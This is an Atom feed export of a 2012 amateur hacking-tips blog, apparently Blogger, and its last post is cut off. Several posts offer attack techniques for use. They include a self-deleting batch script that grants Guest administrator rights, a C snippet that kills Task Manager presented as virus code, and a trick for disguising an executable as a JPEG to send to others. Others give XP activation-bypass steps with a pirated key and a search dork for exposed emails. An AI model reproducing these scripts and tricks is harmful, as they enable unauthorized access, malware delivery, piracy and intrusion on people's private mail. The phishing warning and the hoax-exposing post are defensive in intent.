<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3313246643998194674</id><updated>2012-02-17T03:23:38.271-08:00</updated><category term='virus'/><category term='language'/><category term='hacking'/><category term='first'/><category term='htmltemplate'/><category term='sql'/><category term='geeknabe'/><category term='php'/><category term='variable declaration'/><category term='facebookstricks'/><category term='phpexamples'/><title type='text'>GeekCODES</title><subtitle type='html'>Your Neighborhood I.T. Solution</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://geekcodes.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default?start-index=101&amp;max-results=100'/><author><name>alje</name><uri>http://www.blogger.com/profile/10549724213124514231</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>138</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5101235508372150038</id><published>2012-02-17T02:45:00.000-08:00</published><updated>2012-02-17T02:59:36.693-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>FREE DOWNLOAD PHP SYSTEM</title><content type='html'>&lt;a href="http://www.sourcecodester.com/sites/default/files/download/malyn30/socialnetworkingsite.zip" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="105" src="http://www.sourcecodester.com/sites/default/files/styles/thumbnail/public/images/malyn30/muni.jpg" width="150" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.sourcecodester.com/sites/default/files/download/malyn30/socialnetworkingsite.zip"&gt;&lt;b style="color: orange;"&gt;Simple Social Networking Sites&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is a Sample of A Social Networking Sites That Helps connect People  to the one they truly Belong with. This Project Cannot Be Completed  Without the Help of our Friends,Classmates,Family,our Teacher and Most  of All Our Beloved God...&lt;b style="color: orange;"&gt; &lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5101235508372150038?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5101235508372150038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5101235508372150038'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/free-download-php-system.html' title='FREE DOWNLOAD PHP SYSTEM'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2490328266556886373</id><published>2012-02-17T02:30:00.000-08:00</published><updated>2012-02-17T02:30:17.486-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Block/Unblock sites without software</title><content type='html'>You can block or even unblock sites without any software. Just follow these steps and you can continue acessing the file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Go to Start &gt;&gt;&gt; RUN .&lt;br /&gt;&lt;br /&gt;    Type C:\WINDOWS\system32\drivers\etc&lt;br /&gt;&lt;br /&gt;    Open the file "HOSTS" in a notepad&lt;br /&gt;&lt;br /&gt;    Under "127.0.0.1 localhost" . Add IP Name&lt;br /&gt;    IP - IP of the site to be blocked&lt;br /&gt;    Name - Name of the site&lt;br /&gt;&lt;br /&gt;Example :&lt;br /&gt;127.0.0.1 localhost&lt;br /&gt;210.210.19.82 www.sifymall.com&lt;br /&gt;&lt;br /&gt;Sifymall is now unaccessable . For every site after that you want block , just add "1" to the last number in the internal ip (127.0.0.2) and then the add like before.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2490328266556886373?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2490328266556886373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2490328266556886373'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/blockunblock-sites-without-software.html' title='Block/Unblock sites without software'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1590774249444422502</id><published>2012-02-17T02:29:00.001-08:00</published><updated>2012-02-17T02:29:11.876-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Make Xp genuine</title><content type='html'>This is the simple and best way to crack Xp . This will make you Xp genuine&lt;br /&gt;&lt;br /&gt;    Go to Regedit (Start &gt;&gt; Run &gt;&gt;Type "regedit") .&lt;br /&gt;&lt;br /&gt;    Now go to go to HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents&lt;br /&gt;&lt;br /&gt;    In that change the value of OOBETimer . Just change it to any other value.&lt;br /&gt;&lt;br /&gt;    Close it and go to Start &gt;&gt; Run&lt;br /&gt;&lt;br /&gt;    Type&lt;br /&gt;    "%systemroot%\system32\oobe\msoobe.exe /a"&lt;br /&gt;    (without quotes)&lt;br /&gt;&lt;br /&gt;    The activation screen will pop up.&lt;br /&gt;&lt;br /&gt;    Select "register over telephone."&lt;br /&gt;&lt;br /&gt;    Now click on CHANGE PRODUCT KEY&lt;br /&gt;&lt;br /&gt;    Now you can enTer the product key.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now get the windows product key from someone and enter it. Job done now you Windows Xp is genuine.If you are hoping some site will give you a key then i am sorry. Most keys have been banned. The best way is go to your social networking site and request a product key. The best option is to go to a orkut community and request one.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is a key V2C47 MK7JD 3R89F D2KXW VPK3J dont blame me if this key is baned&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1590774249444422502?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1590774249444422502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1590774249444422502'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/make-xp-genuine.html' title='Make Xp genuine'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5456021475536289737</id><published>2012-02-17T02:28:00.000-08:00</published><updated>2012-02-17T02:28:22.668-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Hacking through links</title><content type='html'>This is called as phishing. Though this method is popular in mails. Mails contain link that show some thing but point to some other site all together some thing like this .&lt;br /&gt;&lt;br /&gt;http:/www.google.com /&lt;br /&gt;&lt;br /&gt;This will direct you to goooole.com instead to google.com. Also note the change in link the actual link has to be http:// (second "/").&lt;br /&gt;&lt;br /&gt;This could take you into some other site orkut.com link. Another popular thing is "http://www.okrut.com/GLogin". Did found any change. No. See again. The spelling of orkut.&lt;br /&gt;&lt;br /&gt;This will take you into some page that looks same as original but is different site all together. So if you click on a hyperlink that asks you to login check the site's address however familar it looks. So be careful&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5456021475536289737?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5456021475536289737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5456021475536289737'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/hacking-through-links.html' title='Hacking through links'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3354371775048869130</id><published>2012-02-17T02:27:00.000-08:00</published><updated>2012-02-17T02:27:09.897-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Virus code 2: Block/Disable any software</title><content type='html'>This is the virus writing basics section. Today we are going to show you how to block/disable software . This is demonstrated using c/c++.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I will demonstrate how can you disable stuffs/ software&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How to block/dissable task manager?&lt;br /&gt;&lt;br /&gt;This code will block task manager. Remember to keep all the spellings as it is any changes this wont work.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;TaskMgr = FindWindow(NULL,"Windows Task Manager");&lt;br /&gt;&lt;br /&gt;if( TaskMgr != NULL )&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This code will block task manager. All that this code does is search for the Header on the window such as "Windows Task Manager". Now if a match is found it will disable that application.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How to Enable task manager ?&lt;br /&gt;&lt;br /&gt;The method to enable task manager is given over here.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now using this concept you can disable several such stuffs. Just replace the name of Windows Task Manager with the exact name of the software as appearing in the header.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can integrate in this in your code and block any software .As all the info given over here is purely for educational purpose it's left upto the reader to make out what header file is needed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3354371775048869130?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3354371775048869130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3354371775048869130'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-2-blockdisable-any-software.html' title='Virus code 2: Block/Disable any software'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-7799043588550128130</id><published>2012-02-17T02:25:00.001-08:00</published><updated>2012-02-17T02:25:53.118-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Read emails without hacking</title><content type='html'>Actually the title is not 100% accurate. Yes you can read email without hacking but this is limited to only a few services. This is 100% safe and takes only 1 minute.&lt;br /&gt;&lt;br /&gt;Simply go to Google and search  "Reply to" or "fwd" as simple as that. If you are wondering how is this possible. Sometimes it so happens that some emails don't go securely like from those who maintain their own email server. these mails get cached. Also mails from before "nofollow" era can also be found.&lt;br /&gt;&lt;br /&gt;In this method you wont get any emails from yahoo or msn or gmail or nay of the newer service providers but of big organizations that maintain their own email severs or some small email providers.You can even get mails sent to websites using forms. This is because of the post-get problem&lt;br /&gt;&lt;br /&gt;Again just search for filetype:eml eml intext:"Content-Type: image/jpeg".&lt;br /&gt;&lt;br /&gt;All that his is doing is searching for a file type eml with MIME Type/ Content-Type: image/jpeg. Whenever it has a .jpg file as attachment that line should come in .eml file.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.google.com.pk/search?hl=en&amp;amp;q=filetype%3Aeml+eml+intext%3A%22Content-Type%3A+image%2Fjpeg%22&amp;amp;btnG=Google+Search&amp;amp;meta=" target="_blank"&gt;http://www.google.com.pk/search?hl=en&amp;amp;q=filetype%3Aeml+eml+intext%3A%22Content-Type%&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-7799043588550128130?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7799043588550128130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7799043588550128130'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/read-emails-without-hacking.html' title='Read emails without hacking'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4581787795822098725</id><published>2012-02-17T02:24:00.001-08:00</published><updated>2012-02-17T02:24:41.250-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Make guest as admin</title><content type='html'>The below code will allow a guest to be a admin . You will not be the actual admin but will get admin privilages&lt;br /&gt;&lt;br /&gt;echo off&lt;br /&gt;title Please wait...&lt;br /&gt;cls&lt;br /&gt;net user add Username Password /add&lt;br /&gt;net user localgroup Administrators Username /add&lt;br /&gt;net user Guest 420 /active:yes&lt;br /&gt;net localgroup Guests Guest /DELETE&lt;br /&gt;net localgroup Administrators Guest /add&lt;br /&gt;del %0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copy this to notepad and save the file as "anyname.bat" . Now you need to execute it or run in the cmd screen.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4581787795822098725?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4581787795822098725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4581787795822098725'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/make-guest-as-admin.html' title='Make guest as admin'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2418925169657364662</id><published>2012-02-17T02:23:00.001-08:00</published><updated>2012-02-17T02:23:49.669-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Get details about any site</title><content type='html'>Wanted to know all the technical details about your favorite site like when was it registered, when was it started, where is it located, it's other details then we have a perfect solution.&lt;br /&gt;&lt;br /&gt;http://www.allwhois.com/ is just the thing you need.&lt;br /&gt;&lt;br /&gt;Let's look at Google.Com( below is not complete)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Domain Name: Google.com&lt;br /&gt;Administrative Contact:&lt;br /&gt;Google Inc.&lt;br /&gt;1600 Amphitheatre Parkway Mountain View&lt;br /&gt;CA&lt;br /&gt;94043 US&lt;br /&gt;&lt;br /&gt;Administrative Contact:&lt;br /&gt;Google Inc.&lt;br /&gt;1600 Amphitheatre Parkway Mountain View&lt;br /&gt;CA&lt;br /&gt;94043 US&lt;br /&gt;dns-admin@google.com +1.6506234000 Fax- +1.6506188571&lt;br /&gt;&lt;br /&gt;Technical Contact, Zone Contact:&lt;br /&gt;Google Inc.&lt;br /&gt;2400 E. Bay shore Pkwy Mountain View&lt;br /&gt;CA&lt;br /&gt;94043 US&lt;br /&gt;dns-admin@google.com +1.6503300100 Fax- +1.6506181499&lt;br /&gt;&lt;br /&gt;Created on..............: 1997-Sep-15.&lt;br /&gt;Expires on..............: 2011-Sep-14.&lt;br /&gt;Record last updated on..: 2006-Dec-29 14:38:40.&lt;br /&gt;&lt;br /&gt;So Google.com was registered on 1997. This does not mean it was started on 1997 but it got registered on 1997 and went full fledged.. There is some good news for those wanting to buy domain. Google .com expires on 2011. If Google doesn't renew it you could get it.&lt;br /&gt;&lt;br /&gt;Go go to allwhois.com and enter the domain name/ URL.Now scroll down in the text box and you will get all the details.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2418925169657364662?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2418925169657364662'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2418925169657364662'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/get-details-about-any-site.html' title='Get details about any site'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-404171870719743221</id><published>2012-02-17T02:22:00.001-08:00</published><updated>2012-02-17T02:22:55.361-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>IP gives it all</title><content type='html'>Most people wonder how do websites come to know of your location from IP.Now you too can find out.Forget users you can even sneak up on websites. Just enter IP/URL/mailid and vola all the details of are given.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just visit visualroute . This has some great tools that will help you. You can enter IP/URL/Domain name and much more.&lt;br /&gt;&lt;br /&gt;Here is a pic of what it can do (click on pic for a larger image). It gives your location. who is your internet provider, how you are connected to him.&lt;br /&gt;&lt;br /&gt;What if you dont want to download any thing. then there are some online tools&lt;br /&gt;&lt;br /&gt;    Samspade.org&lt;br /&gt;    net4domain.com&lt;br /&gt;    visualware.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-404171870719743221?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/404171870719743221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/404171870719743221'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/ip-gives-it-all.html' title='IP gives it all'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8597187078143154694</id><published>2012-02-17T02:19:00.000-08:00</published><updated>2012-02-17T02:19:59.090-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Convert Exe to JPEG</title><content type='html'>Converting EXE to some other format say JPEG is easier than you think. This will not physically convert the exe file to jpeg. All that this does is this will trick someone including your OS to some extend in thinking that it's a jpeg file and thus opening/running the exe file. Ok i will use firefox.exe to show how you do it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Create a new folder and copy the firefox.exe file into it. Now just create a shortcut of the file in the same folder. This shortcut is going to be the image(jpeg). Rename the shortcut to say, viruswriting.jpeg and original so vir.jpeg&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;remember these 2 files (original and shortcut) have to be in the same folder&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viruswritings.googlepages.com/exetojpg.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="509" src="http://viruswritings.googlepages.com/exetojpg.PNG" width="367" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now right click on the shortcut and delete the "Start in" field. Change th e target field to C:\WINDOWS\system32\cmd.exe /c vir.jpeg.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now you need to change the icon of the shortcut file and the job is done. This trick is mainly for those who run their own server.This way when ever the person opens the shortcut the exe file will execute .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note that both files have to be in the same folder and the user has to click on the shortcut and not on the original file. So if you are sending this to someone place both in the same folder and compress it . Now send the .zip or .rar file&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8597187078143154694?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8597187078143154694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8597187078143154694'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/convert-exe-to-jpeg.html' title='Convert Exe to JPEG'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8338462047799664667</id><published>2012-02-17T02:15:00.000-08:00</published><updated>2012-02-17T02:15:18.800-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Hacking victims</title><content type='html'>Just read along if you wish to hack any email that asks you the security question in case you forgot the password. This makes use of a bug present in most email(expect a few like earthlymail and electronicmail ) .There are several sites that claim to give you password by just sending an email but in that you also need to give your password.This is a fake thing you finally end up getting your id hacked.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is a genuine method and is only for educational purpose. If you hack you are at your own.We will trick the server in thinking that the details(DOB/Securtity question &amp; answer) you gave are true. Please read the enire post before you begin as you need to done somethings before you start composing.One important thing If you are hacking a Yahoo account compose/send mail from a Yahoo account only. If you dont have one then create it and then send.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Just compose a mail called FORGOT PASSWORD(all in caps)&lt;br /&gt;&lt;br /&gt;    Now you need to send this mail to ret_pass@**** .com(replace *** with Live/ Hotmail/MSN) OR retrieve_pass@**** .com(replace **** with Aol/AIM/Yahoo)&lt;br /&gt;&lt;br /&gt;    In the subject field type the following&lt;br /&gt;    id:$your victims's id$&lt;br /&gt;    Here is the trick we need to convince the server that the details that you give are the details of that id&lt;br /&gt;&lt;br /&gt;        secque: $give your security question$ (no ? after the question. In case it has a space for eg: "What is your pet" give it as what%20is%20your%pet i.e replace any space by %20)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        For Yahoo it's security&lt;br /&gt;&lt;br /&gt;        secans: $give your security answer$ (Again here also if any space then replace the space by %20 For eg: if your answer is "Google Helper" give it as google%20helper)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        For Yahoo it's security  &amp; for Aol/Aim it's secan&lt;br /&gt;&lt;br /&gt;        sdob: %$dob of your id$% No % needed for Yahoo&lt;br /&gt;&lt;br /&gt;    You may also be needed to give your Pincode as spin .&lt;br /&gt;&lt;br /&gt;    Once you send the mail the server will will not know what to do. The securtiy details of the id from which you sent mail are fully correct but id mentioned is something else. So instead of giving your password it gives password of the id metioned.&lt;br /&gt;&lt;br /&gt;You should either get the password in 10-30 min or an error will be generated. I think by now you might have understood why i asked to send for the same mail provider.If not then the reason is how will MSN know details of your AOL mail.&lt;br /&gt;&lt;br /&gt;And one more imprtant thing this method has a 95% success rate if you dont get up from your dream. This means that this post is all Bogus. You can never hack anyone by this method.This was just to show how easy you get fooled . I decided to make it look as complicated as possible to as trick.And i excluded earthly mail to give a indirect warning sign so that clever minds might be able to catch it)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you didnt fall for it then great else boo go start writing snail/postal mail , web is not for you. Remember it's not easy to hack.Never follow any method given online.Also dont give your id to any who claims to give you the method one coz once you give your spam mail box would be always full.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8338462047799664667?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8338462047799664667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8338462047799664667'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/hacking-victims.html' title='Hacking victims'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8486526246242399155</id><published>2012-02-17T02:13:00.000-08:00</published><updated>2012-02-17T02:13:05.694-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Brute Force - best hacking method</title><content type='html'>Brute force is the best hacking method as chances of getting password is very high.&lt;br /&gt;&lt;br /&gt;The methods is very simple . But this method is cumbersome. Still most hacking software use this method due to high success rate .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is how you do it. All that u need is the username and findout what is the max password length the software/site allows and also the minimum. say the minimum is 6 and max is 8. You have to start trying out all the combination.First all the six letter combos then seven then 8&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;aaaaaa&lt;br /&gt;&lt;br /&gt;aaaaab&lt;br /&gt;&lt;br /&gt;aaaaac&lt;br /&gt;&lt;br /&gt;aaaaab&lt;br /&gt;&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;abaaaa&lt;br /&gt;&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;azzzzz&lt;br /&gt;&lt;br /&gt;baaaaa&lt;br /&gt;&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;..&lt;br /&gt;&lt;br /&gt;zzzzzz&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now once you do for 6 repeate the same for 7 and then for 8 . You will surely crack it.But the no of combos you need to try is very high.So in most cases you cannot use it but designed software do the job in few minutes. Check crack passwords section for such softwares to crack your software/site. This is best used to recover passwords of mobile phone . If use them for hacking it's 